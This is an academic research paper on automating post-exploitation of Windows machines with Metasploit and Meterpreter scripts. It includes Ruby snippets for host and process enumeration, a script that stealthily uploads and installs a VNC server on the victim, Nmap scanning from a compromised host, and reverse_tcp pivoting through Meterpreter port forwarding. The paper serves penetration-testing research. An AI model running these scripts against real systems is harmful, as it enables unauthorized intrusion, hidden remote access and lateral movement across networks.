Automation of Post-Exploitation
(Focused on MS-Windows Targets)

Mohammad Tabatabai Irani and Edgar R. Weippl

Secure Business Austria,
Favoritenstr. 16, A-1040 Vienna, Austria
{mtabatabai,eweippl}@securityresearch.at
http://www.sba-research.org

Abstract. Pentesting is becoming an important activity even for smaller companies. One of the most important economic pressures is the cost of such tests. In order to automate pentests, tools such as Metasploit can be used. Post-exploitation activities can, however, not be automated easily. Our contribution is to extend Meterpreter-scripts so that post-exploitation can be scripted. Moreover, using a multi-step approach (pivoting), we can automatically exploit machines that are not directly routable: Once the first machine is exploited, the script continues to then automaticall launch an attack on the next machine, etc.

Key words: Pentesting, security, exploits

1 Introduction

On the second Tuesday of each month Microsoft releases the security patches. Attackers are waiting to start reverse engineering on these patches to find out the original vulnerabilities. If an attacker can find the original vulnerability and write an exploit in limited time before systems get patched, then she can start kind of zero-day attack[1].

Assuming that the attacker successes to write an exploit in this limited time, she requires automating the post exploit activities to save time for some time consuming post exploit activities like password cracking.

In some cases an attacker has to perform a blind attack against a large number of targets. In this case the attacker will perform a fully automated exploitation and post exploitation in order to gather as much data as possible. The purpose of this kind of attack is to take over as many systems as possible.

In comparison, pre-exploit and exploit phases can be automated easily by an attacker because theses phases are active on her side. She can control when and how to perform foot printing, scanning for vulnerabilities and when to start exploiting. After a successful exploitation the attacker probably has a shell of

[1] This is not exactly a zero day attack. Zero day attack means the patch is not released by the vendor, but in this case the patch is released and the attacker is taking the advantage of a time gap between patch release and update of systems.

the remote machine but the attacker is required to perform the desired tasks manually.

Windows has some scripting features such as batch files and the Windows Script Host (WSH) which supports both VBScript and JScripts. Also some built-in tools with automation feature such as WMIC and NETSH are available and can help an attacker to automate her activities. For all these cases the attacker requires transferring her scripts and tools manually to target and scheduling them to be executed. Additionally this approach is not a stealth approach because of limits which usual payloads have.

2 Limits Of Usual Payloads

In case of using usual payloads like a remote shell, for each post exploit task an additional process will be generated and this process is visible in processes list of the exploited machine.

These processes will be shown on process list usually with SYSTEM privilege which is risky because there are only certain tasks which require being executed with SYSTEM privilege and if for instance a process such as cmd.exe is being executed with security context of SYSTEM, each administrator will notice that the machine has been compromised.

With rootkits it is possible to hide some of these activities but transferring and installing a rootkit is not always possible and also has its own limits.

If the attacker has a limited payload which could execute only a simple or a specific command, the entire post exploit activities will become a time consuming phase. In such a case the attacker requires transferring an advanced remote shell program or kind of backdoor to target, otherwise it is not possible to perform most of the post exploit activities. Moreover, some exploits can only be executed once.

3 Metasploit And Meterpreter

Metasploit [Met] is an open source framework for penetration testers to develop exploits, payloads and tools for penetration testing [MMC+07]. The product has about 270 exploits and 120 payloads for covering the initial needs of penetration testers. As the framework is open source, developers are contributing and preparing more and more exploits, payloads and tools based on the framework.

The metasploit framework has different types of interfaces such as console and web interface (as GUI) and a simple command line interface such as *msfcli*. Additionally it is possible to generate standalone payloads with *msfpayload* which is important for targets which are fully patched.

One of the unique payloads of Metasploit is Meterpreter. In order to solve all of the mentioned problems regarding to usual payloads, the metasploit developers have prepared an advanced payload which has solved all these problems. *Meterpreter* (abbreviation of Meta-Interpreter) is the solution for the mentioned

problems which is available in metasploit standard package next to all other payloads and the attacker or penetration tester can use it just such as all other payloads. Meterpreter is based on a technique which is called DLL injection [Rem]. By applying this technique the developers of Meterpreter has developed the most stealth payload which can remain hidden from antivirus programs and will not be shown in processes list of the exploited machine. Meterpreter has many of the required post exploit activities as built-in functions and these built-in functions can fully cover the initial needs of an attacker. The attacker could extend the number of these built-in functions by extensions which can be implemented for special purposes. Additionally meterpreter is able to run scripts for automation purposes.

As mentioned before the *Meterpreter* payload uses *remote-in-memory DLL-injection* and as a result it is not easy for antivirus programs to identify such an attack. In cases that the target machine is not exploitable the attacker requires to use a standalone instance of meterpreter pretending that it is a useful file. According to an analysis by Mark Bagger [Bag08] which has tested standalone meterpreter instances by more than 30 antiviruses and surprisely only a few number of them have classified the standalone instance of meterpreter as a security risk.

4 Practical Part

One of the most essential tasks in post exploit activities is automating post exploit activities as much as possible.

Automatically exploitation is possible because it is an attacker-side activity. The attacker can automate all activities including identifying possible exploits and performing exploits against the targets. However, as post exploit activities are client-side (victim-side) activities, it should be automated and scripted on client side. This limitation is the reason why an attacker is not able to perform the post exploit activities automatically by usual payloads.

By applying meterpreter it is possible to solve this problem and by using Metasploit APIs it is possible to fully script a session including post exploit acitivites. Since post exploitation is not a static activity, depending on the requirements the attacker can implement her own scripts. In following subsections some samples will be shown in order to illustrate the logic of our scripts.

4.1 Metasploit Programming APIs

At the most basic level there are *REX* libraries which stands for *Ruby Extension Library*. REX contains a series of classes and modules such as socket subsystem, protocols, logging systems and exploitation classes. It is possible to use REX directly in Ruby scripts and for this purpose the ruby script should require the *rex* library.

The framework has two main parts and they are *Framework core* and *Framework base*. Framework core is a set of classes which are responsible for dealing

with exploit modules, sessions and plugins. It is an interface to modules and plugins. Using the framework is an instance-based approach. It means a developer can create an instance of framework and then start working with it: `myFramework = Msf::Framework.new` This approach lets the developer to have as much as instances of framework concurrently without facing any limitation. In order to use a framework instance in a ruby script, the ruby script should require *msf/core*.

The *Framework core* is extended by *Framework base* which is the other part of the framework. The framework base is there to simplify working with Framework core and has additional classes such as serializing. Another purpose of framework base is providing classes for third party tools development.

The *framework base* is extended by *Framework UI* which provides different interfaces for Metasploit such as command line, console, or web interface. The framework UI classes are used to encapsulate the data for different interfaces and they also make it possible the framework to work and interact with third party tools.

4.2 Implementing A Standalone Instance

In order to implement some post exploit scripts, a standalone instance of frame work is used. This standalone instance reads an input file which is the configuration file: `./postExploitScript.rb configFile.ext`

The *postExploitScript.rb* is a ruby script which uses Metasploit APIs as mentioned before by requiring *rex*,*msf/base* and *msf/ui* classes. The structure is modular and the script simply reads the input config file and initializes the script.

In the simplest case the script will be used to perform a post exploit action against a single remote machine. In this case the config file would be something such as:

```
1: IP address of first machine: x.y.z.y
2: exploit to be used for the remote machine
3: payload to be used for the remote machine
4: degree of stealthiness: 1,2 or 3
5: type of hash gathering: 1 or 2
```

A sample config file with pivoting functionality would be something like:

```
<IP address of first machine: x.y.z.t>
<exploit to be used for the first machine>
<payload to be used for the first machine: windows/meterpreter/bind_tcp>
<degree of stealthiness: 1,2 or 3>
<type of hash gathering: 1 or 2>
# the following line could be repeated for all remote machines i=1...n
<IP of remote machine i>
<exploit of remote machine i>
<payload of remote machine i:  windows/meterpreter/reverse_tcp>
<degree of stealthiness machine i>
<type of hash gathering machine i>
...
```

The structure of standalone script (that is postExploitScript.rb) is simple and contains the following parts:

- Initializing the script including initializing the path, requiring the required libraries such as rex, msf/base and msf/ui and checking the availability of a given config file. Additionally the public IP address and the listener port, in case of using a reverse payload would be set.
- Reading the config file and checking if the config file has a valid format. After that the script will initialize related variables such as the array of targets, exploits and payloads and the degree of stealthiness. Setting the pivoting flag will be performed in this section as well.
- Generating a list of scripts is another part of the standalone script. In this part all available scripts in the related folder (/scripts/meterpreter/) will be scanned and saved in an array. The scripts have to follow a valid naming convention and that is each script should end with either *_1*, *_2* or *_3* which shows the stealthiness degree of the script. The standalone script will automatically generate arrays of each degree and saves the scripts in the array. This approach offers flexibility and there is no need to change the standalone script if some additional scripts would be added in future.
- Executing the first exploit is the next part of script. If the config file has been configured for pivoting then each additional machine will be exploited and in case of a successful exploitation the *PostExploitMe* part will be called for each target.
- The PostExploitMe part is the engine of the standalone script for performing post exploit activities. This part is responsible for performing the post exploit activities on exploited machines considering the predefined degree of stealthiness.

4.3 Implementing Post-exploit Scripts

The standalone script is an instance of the metasploit framework with required configuration including the target address, exploit and payload. The post exploit part of the standalone script requires scripts for each post exploit activity.

This post exploit scripts can be executed either directly in a meterpreter session or can be called by the post exploit part of the standalone script. In order to fully automate a post exploit scenario the scripts are called by the standalone script, but the results are exactly the same to when the scripts are run manually from a meterpreter session in a msfconsole.

As mentioned before there are three degrees of stealthiness which could be defined in configuration file. As a result for each post exploit activity it is possible to implement up to three versions of scripts. For instance, *system information gathering* can be implemented as follows:

1. Using only Metasploit APIs which return a limited amount of information: `client.sys.config.sysinfo()`
2. Using additionally native commands of windows which return more information:

```
client.sys.process.execute ('cmd.exe','/c  systeminfo && set
&& ver && fsutil fsinfo drives && net user && net localgroup'
,'Channelized'=>true)
```

In this case an additional cmd.exe process is created for a short period of time and can return much detailed information about the exploited machine.

3. Using additional tools. In this case third party tools or additional tools of windows such as WMIC could be used:

```
client.sys.process.execute('cmd.exe','/c wmic /output:wmic_sysinfo.txt
    /interactive:off CPU list brief /format:csv','Channelized'=>false)
sleep(15)
print_status("BIOS part...")
client.sys.process.execute('cmd.exe','/c wmic /append:wmic_sysinfo.txt
    /interactive:off bios list brief/format:csv','Channelized'=>false)
sleep(3)
print_status("OS part...")
client.sys.process.execute('cmd.exe','/c wmic /append:wmic_sysinfo.txt
    /interactive:off os list brief/format:csv','Channelized'=>false)
sleep(3)
print_status("ComputerSystem part...")
client.sys.process.execute('cmd.exe','/c wmic /append:wmic_sysinfo.txt
    /interactive:off computersystem list brief/format:csv','Channelized'=>false)
sleep(3)
```

Process Information Another important example of post exploit activity is identifying which processes (and that is equal to which programs and applications) are running. This helps an attacker to have a better understanding about the exploited machine. For instance if a *DNS.exe* process is available in the list of processes means that the exploited machine is a DNS server.

For this purpose there are also three types of scripts implemented:

- Using only Metasploit APIs *(process_1.rb)*: `myArray=client.sys.process.get_processes()` This script will return a list of processes and the script will save the results in a XML file.
- Using native commands *(process_2.rb)*:

```
client.sys.process.execute ('cmd.exe','/c net start
&& sc query && tasklist /v && tasklist && tasklist /m'
,'Channelized'=>true)
```

  This item will return a full list of information regarding to processes and services.
- Using additional tools *(process_3.rb)*: By using WMIC it is possible to query about the most accurate information regarding the services and processes:

```
print_status("wmic_process part...")
client.sys.process.execute('cmd.exe','/c wmic /output:wmic_service.txt
/interactive:off process list brief /format:csv','Channelized'=>false)
sleep(15)
print_status("wmic_service part...")
client.sys.process.execute('cmd.exe','/c wmic /append:wmic_service.txt
/interactive:off service list config /format:csv','Channelized'=>false)
sleep(3)
```

It is possible to implement many sorts of these scripts for different purposes based on Metasploit APIs or windows internal tools. Additionaly it is possible to use other third parties tools for much mor specific post exploit activities. For instance installing a VNC server or scanning a network from an exploited machine by Nmap or similar tools.

Installing VNC Server In order to install VNC, a light version of VNC is required. For this purpose the VNC of `http://guh.nu/projects/vnc/` could be used which is a real light version and can be installed in a stealthy mode. The script has to transfer the following essential files to a temporary directory on target: (1) omnithread_rt.dll, (2) VNCHooks.dll, (3) WinVNC.exe, and (4) vnc.reg. Installation of this version of VNC is simple and could be something like:

```
#!/usr/bin/ruby
# Installing a VNC server on target
print_status("Installing VNC server")
sysInfos=client.sys.config.sysinfo()
os=sysInfos['OS']
hostname=sysInfos['Computer']
print_status("uploading the required files...")
client.fs.file.upload_file("omnithread_rt.dll",
"myUploads/vnc/omnithread_rt.dll")
client.fs.file.upload_file("WinVNC.exe","myUploads/vnc/WinVNC.exe")
client.fs.file.upload_file("VNCHooks.dll","myUploads/vnc/VNCHooks.dll")
client.fs.file.upload_file("vnc.reg","myUploads/vnc/vnc.reg")
print_status("registering the VNC in registry...")
client.sys.process.execute('cmd.exe','/c regedit -s vnc.reg',
'Channelized'=>false)
sleep(2)
print_status("installing the VNC...")
client.sys.process.execute('cmd.exe','/c WinVNC -install',
'Channelized'=>false)
sleep(5)
print_status("starting the VNC...")
client.sys.process.execute('cmd.exe',
'/c net start "VNC server" && winvnc','Channelized'=>false)
puts ("Installed!")
```

After installation the required services will be generated and they will have a start up status of automatic. The attacker can use a web interface to interact with console of the exploited machine. It is obvious that the exploited machine should be directly routable from the attacker's host.

Automatically Scanning By Nmap For automatically scanning purposes in a post-exploit script the Nmap is a good choice because it is powerful by having different pinging techniques, fully supporting command line interface, is able to be scripted and its reputation among security researchers.

As the scanning script requires the nmap tool, so it is a script of type 3. The script performs the following tasks on the exploited machine:

- Finding the IP configuration of each NIC.
- Calculating the length of network portion from given subnet.
- Calculating the network address of related subnet.
- Transferring the required Nmap files and the file which contains the network addresses.
- Performing a fast scan against the whole network or any type which the attacker is required.

4.4 Integration Of Pivoting

As mentioned before in some cases it is not possible to directly reach a target and in order to exploit such a target another machine has to be exploited first and by performing pivoting on such an exploited machine it is then possible to start exploiting other machines which are not directly reachable.
The standalone script is able to cover this requirement. The config file should contain more than 5 lines (the first 5 lines are the settings for the first machine). Each additional 5 lines indicate another machine which should be exploited via the first machine.

The method which has been used for pivoting is port forwarding feature of Meterpreter payload (The following code is using an exploit which uses TCP port 135 but the original script finds the port dynamically):

```
'Payload'       => 'windows/meterpreter/reverse_tcp',
'OptionStr'     => 'RHOST=127.0.0.1 RPORT=135 LHOST='+MyPublicAddress+'
  LPORT='+MyTcpPort.to_s,
```

The payload is a reverse shell and after exploiting the remote machine will connect back to the attacker's host. The attacker requires defining a port forwarder to be able to communicate back with the remote machine:

```
myStr='portfwd add -L 127.0.0.1 -l 135 -r '+$myTarget[i+1].to_s+' -p 135'
puts myStr
portFwdResult = $session[0].run_cmd(myStr)
```

5 Conclusion

In this paper we have shown how Metasploit can be used to automate post-exploitation. Using the scripts presented targets can be attacked that are not directly routable. This mechanism of pivoting allows to use a system that has been exploited to serve as a base for the next attack, leading to a cascade of exploited hosts. The final target host can then communicate to the attacker through reverse communication. Systems that are secured with multiple layers such as [EPW04] can then also be attacked.

References

[Bag08] Mark Bagget. Effectiveness of antivirus in detecting metasploit payloads. *SANS Institute*, 2008.

[EPW04] Wolfgang Essmayr, Stefan Probst, and Edgar Weippl. Role-based access controls: Status, dissemination, and prospects for generic security mechanisms. *Electronic Commerce Research*, 2004.

[Met] Metasploit. http://www.metasploit.com/.

[MMC+07] David Maynor, K.K. Mookhey, Jacopo Cervini, Fairuzan Roslan, and Kevin Beaver. *Metasploit Toolkit For Penetration Testing.* SYNGRESS Press, 2007.

[Rem] Remote. http://www.nologin.org/downloads/papers/remote-library-injection.pdf.